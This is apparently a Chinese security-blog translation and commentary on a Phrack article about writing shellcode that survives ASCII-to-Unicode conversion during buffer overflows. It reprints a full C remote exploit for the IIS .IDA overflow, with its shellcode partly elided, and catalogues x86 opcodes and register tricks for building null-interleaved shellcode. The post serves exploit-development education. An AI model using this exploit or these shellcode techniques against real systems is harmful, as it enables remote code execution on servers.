Coding art in shellcode（1）

行之 / 2018-04-03 14:38:21 /

前言

前些天和朋友在玩War3的时候，登陆了某平台，打开了某平台后里面的中文字符全部变成了？？？，顿时想起我装的的英文版系统，编码出现了问题。回头一想shellcode的
（1）（2）部分原文链接：http://phrack.org/issues/61/11.html#article

Introduction

在利用缓冲区溢出时，我们有时候得面对一些难题：字符转换。在进行漏洞利用的实际情况中，漏洞程序可能会通过设置大小写、删除非数字或字母的字符等修改我们构造的

我们来思考一个情况：
你给一个带漏洞的服务器发送了一些数据，这些数据由ASCII编码，后由于兼容性的原因你的字符被转换为unicode，然后你发送的数据的缓冲区便发生了溢出。

例如，发送了这样一组数据：

```
4865 6C6C 6F20 576F 726C 6420 2100 0000 Hello World !...
0000 0000 0000 0000 0000 0000 0000 0000 ................
```

然后会转变成：

```
4800 6500 6C00 6C00 6F00 2000 5700 6F00 H.e.l.l.o. .W.o.
7200 6C00 6400 2000 2100 0000 0000 0000 r.l.d. .!.......
```

然后，bang~~~，产生溢出（Yeah~~~，我知道我的例子很傻）
在Win32平台下，一个进程通常从00401000开始，这样便有可能使用如下的返回地址破坏EIP：

```
????:00??00??
```

虽然会产生这样的字符转换，但对漏洞利用依然是可能的，但是获得一个可用的shellcode将会困难得多。有一种可能的办法是多次用未经格式化的数据填充堆栈，然后进行
我们需要找到包含空字节的操作码来构建我们shellcode。
这里有一个例子，虽然比较老了，但是它就是一个即使缓冲区被破坏，漏洞利用也可以进行的例子。

```
---------------- CUT HERE -----------------------------------------------

/*
  IIS .IDA remote exploit


  formatted return address : 0x00530053
  IIS sticks our very large buffer at 0x0052....
  We jump to the buffer and get to the point


  by obscurer
*/

#include <windows.h>
#include <winsock.h>
#include <stdio.h>

void usage(char *a);
int wsa();

/* My Generic Win32 Shellcode */
unsigned char shellcode[]={
"\xEB\x68\x4B\x45\x52\x4E\x45\x4C\x13\x12\x20\x67\x4C\x4F\x42\x41"
"\x4C\x61\x4C\x4C\x4F\x43\x20\x7F\x4C\x43\x52\x45\x41\x54\x20\x7F"
[......]
[......]
[......]
"\x09\x05\x01\x01\x69\x01\x01\x01\x01\x57\xFE\x96\x11\x05\x01\x01"
"\x69\x01\x01\x01\x01\xFE\x96\x15\x05\x01\x01\x90\x90\x90\x90\x00"};
```

```
int main (int argc, char **argv)
{

int sock;
struct hostent *host;
struct sockaddr_in sin;
int index;

char *xploit;
char *longshell;


char retstring[250];

if(argc!=4&&argc!=5) usage(argv[0]);


if(wsa()==FALSE)
{
   printf("Error : cannot initialize winsock\n");
   exit(0);
}


int size=0;

if(argc==5)
size=atoi(argv[4]);


printf("Beginning Exploit building\n");

xploit=(char *)malloc(40000+size);
longshell=(char *)malloc(35000+size);
if(!xploit||!longshell)
{
printf("Error, not enough memory to build exploit\n");
return 0;
}

if(strlen(argv[3])>65)
{
printf("Error, URL too long to fit in the buffer\n");
return 0;
}

for(index=0;index<strlen(argv[3]);index++)
shellcode[index+139]=argv[3][index]^0x20;

memset(xploit,0,40000+size);
memset(longshell,0,35000+size);
memset (longshell, '\x41', 30000+size);

for(index=0;index<sizeof(shellcode);index++)
longshell[index+30000+size]=shellcode[index];

longshell[30000+sizeof(shellcode)+size]=0;


memset(retstring,'S',250);

sprintf(xploit,
       "GET /NULL.ida?%s=x HTTP/1.1\nHost: localhost\nAlex: %s\n\n",
   retstring,
       longshell);


printf("Exploit build, connecting to %s:%d\n",argv[1],atoi(argv[2]));
```

```
sock=socket(AF_INET,SOCK_STREAM,0);
if(sock<0)
{
   printf("Error : Couldn't create a socket\n");
   return 0;
}


if ((inet_addr (argv[1]))==-1)
   {
   host = gethostbyname (argv[1]);
   if (!host)
   {
       printf ("Error : Couldn't resolve host\n");
       return 0;
   }
memcpy((unsigned long *)&sin.sin_addr.S_un.S_addr,
      (unsigned long *)host->h_addr,
      sizeof(host->h_addr));

}
else sin.sin_addr.S_un.S_addr=inet_addr(argv[1]);


sin.sin_family=AF_INET;
sin.sin_port=htons(atoi(argv[2]));

index=connect(sock,(struct sockaddr *)&sin,sizeof(sin));
if (index==-1)
{
   printf("Error : Couldn't connect to host\n");
   return 0;
}

printf("Connected to host, sending shellcode\n");

index=send(sock,xploit,strlen(xploit),0);
if(index<1)
{
   printf("Error : Couldn't send trough socket\n");
   return 0;
}

printf("Done, waiting for an answer\n");

memset (xploit,0, 2000);

index=recv(sock,xploit,100,0);
if(index<0)
{
   printf("Server crashed, if exploit didn't work,
               increase buffer size by 10000\n");
   exit(0);
}


printf("Exploit didn't seem to work, closing connection\n",xploit);

closesocket(sock);

printf("Done\n");

return 0;
}
---------------- CUT HERE -----------------------------------------------
```

在这个例子中，为漏洞利用所构造的字符串是：

```
"GET /NULL.ida?[BUFFER]=x HTTP/1.1\nHost: localhost\nAlex: [ANY]\n\n"
```

如果[BUFFER]足够大，EIP就会被[BUFFER]的内容所覆盖。但是我注意到溢出发生的时候,[BUFFER]里的内容汇编转化为Unicode。有趣的是原来[ANY]是一个空的ASCII缓冲
所以我把[BUFFER]设置为"SSSSSSSSS"（S = 0x53）
在转换之后它变为：

```
...00 53 00 53 00 53 00 53 00 53 00 53 00 53 00 53...
```

EIP被覆盖为0x00530053，IIS会returned到[ANY]周围。有一个执行shellcode的可行的办法，我在[ANY]中放置一大串A,然后在它的末尾放置我的shellcode。但是如果我们

Our Instructions Set

我们的要始终有一个意识：我们不用绝对地址来使用call，jump...因为我们要确保shellcode的通用性。首先我们来查看一下我们还有哪些Opcode可以使用，
下文中：r32代表32位寄存器（eax,esi,ebp）
r8代表16位寄存器（ah,bl,cl）

UNCONDITIONAL JUMPS (JMP)

JMP可能的操作码是EB和E9以进行相对跳转，我们不能使用它们，虽然它们可以跟随00但是这样做没有意义（00表示跳到下一个字节）。
FF和EA是绝对跳转，这些操作码不能跟随00，除非我们想跳到一个已知的地址，我们不会这样做将意味着我们的shellcode包含编码地址。

CONDITIONAL JUMPS (Jcc : JNE, JAE, JNE, JL, JZ, JNG, JNS...)

远跳转的语法不能使用，因为它需要2个连续的非空字节。 由于opcode不能是00的原因，不能使用近跳转。.另外，JMP r32是不可能的。

LOOPs (LOOP, LOOPcc : LOOPE, LOOPNZ..)

同样的问题：E0或E1或E2是LOOP的opcode，他们必须跟在后面要交叉的字节数...

REPEAT (REP, REPcc : REPNE, REPNZ, REP + string operation)

所有这些都是不可能的，因为这些指令都是以两个字节的opcode开始的。

CALLs

只有相对偏移地址的调用可以使用：

```
E8 ????????
```

在我们的例子中下，我们有：

```
E8 00 ?? 00■ ■■■??■= 00■
```

但是我们不能使用这个，因为我们的call将至少再增加01000000字节.....
当然CALL r32也是不可行的。

SET BYTE ON CONDITION (SETcc)

它的指令需要2个非nul字节。（例如，SETA是0F 97）。

HU~~~OH~~~这比想象中的还要难，而且我们甚至没有任何条件可以进行测试。更苛刻的是我们甚至没办法控制自己代码的执行流程： Jumps、Calls
都不能调用, 也没有Loops和 Repeats.
那么，我们该怎么办呢？
实际上我们有很多的NULL，这些东西可以对EAX寄存器进行很多操作。在使用EAX,[EAX],AX等作为操作数时，它通常16进制的编码为00。我们试试来对EAX进行操作:

SINGLE BYTE OPCODES

我们可以使用任何单字节opcode，所以我们可以对任何寄存器进行INC或DEC操作，当然以寄存器作为操作数XCHG和PUSH / POP也是可行的。
比如：

```
XCHG r32,r32
POP r32
PUSH r32
```

MOV

```
8800              mov [eax],al
8900              mov [eax],eax
8A00              mov al,[eax]
8B00              mov eax,[eax]
```

完全不能用。

```
A100??00??        mov eax,[0x??00??00]
A200??00??        mov [0x??00??00],al
A300??00??        mov [0x??00??00],eax
```

这些也没用，因为我们不硬编码地址。

```
B_00              mov r8,0x0
A4                movsb
```

也许我们可以使用这些：

```
B_00??00??        mov r32,0x??00??00
C600??            mov byte [eax],0x??
```

可能对内存的修改有用。

ADD

```
00__              add [r32], r8
```

寄存器作为指针时，我们都可以在内存中添加字节：

```
add r8,r8
```

可能是一个修改寄存器的办法。

XOR

```
3500??00??        xor eax,0x??00??00
```

可能是修改EAX寄存器的一种方法。

PUSH

```
6A00              push dword 0x00000000
6800??00??        push dword 0x??00??00
```

只有这个可以做到。

Possibilities

首先我们必须摆脱一个小细节：事实上，我们需要谨慎对待代码中样的0x00，因为如果您从覆盖的EIP返回到ADDR：

```
... ?? 00 ?? 00 ?? 00 ?? 00 ?? 00 ...
   ||
  ADDR
```

但是return到ADDR和ADDR+1是完全不同的，不过我们可以使用类似于“NOP”的结构：

```
0400              add al,0x0
```

因为：000400是：

```
add [2 * eax]■al■
```

add [2 eax]，al，我们可以跳到我们想要的任何地方，并且我们不会因为是否落在00上而被影响。
但是这需要2 eax作为一个有效的指针。
同样的：

```
06                push es
0006              add [esi],al

0F000F            str [edi]
000F              add [edi],cl

2E002E            add [cs:esi],ch
002E              add [esi],ch

2F                das
```

```
002F              add [edi],ch

37                aaa
0037              add [edi],dh
```

我们要小心这个对齐问题。

接下来，我们再看看还可以做什么：
XCHG，INC，DEC，PUSH，POP 32位寄存器可以直接使用,我们可以设置一个寄存器（r32）为00000000：

```
push dword 0x00000000
pop r32
```

注意EAX可以和任何寄存器配合完成XCHG指令,如下我们可以给EDX的00赋值：

```
mov edx,0x12005600        ; EDX = 0x12005600
mov ecx,0xAA007800
add dl,ch                 ; EDX = 0x12005678
```

我们可以为EAX设置任何值，我们可以在堆栈中使用一些小技巧：

```
mov eax,0xAA003400        ; EAX = 0xAA003400
push eax
dec esp
pop eax                   ; EAX = 0x003400??
add eax,0x12005600        ; EAX = 0x123456??
mov al,0x0                ; EAX = 0x12345600
mov ecx,0xAA007800
add al,ch
                  ; finally : EAX = 0x12345678
```

特别提醒：可能我们也会需要设置一些00，如果我们想让一个0x00代替0x12，比如我们只要添加0x00120056到寄存器，我们只要简单得把0x56加到ah就行了：

```
mov ecx,0xAA005600
add ah,ch
```

如果我们想要0x00而不是0x34，那么我们只需要一开始EAX = 0x00000000就可以。
如果我们想要一个0x00而不是0x56，那么通过向其中添加0x100 - 0x56 = 0xAA：

```
; EAX = 0x123456??
mov ecx,0xAA00AA00
add ah,ch
```

也许如果你没有想过可以这样做，但是记住你可以通过这个跳到指定位置（假设地址在EAX中）：

```
50                push eax
C3                ret
```

你可以在无计可施的情况下使用这个技巧。

这部分作者向我们一步步分析了，在unicode编码的情况下，我们要编写shellcode还有哪些opcode可以使用，可以用的部件已经有了，接下来就是拼凑这些东西。

上一篇：「驭龙」Linux执行命令监控驱动... 下一篇：Coding art in she...
1. 0 条回复
   - 动动手指，沙发就是你的了！

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板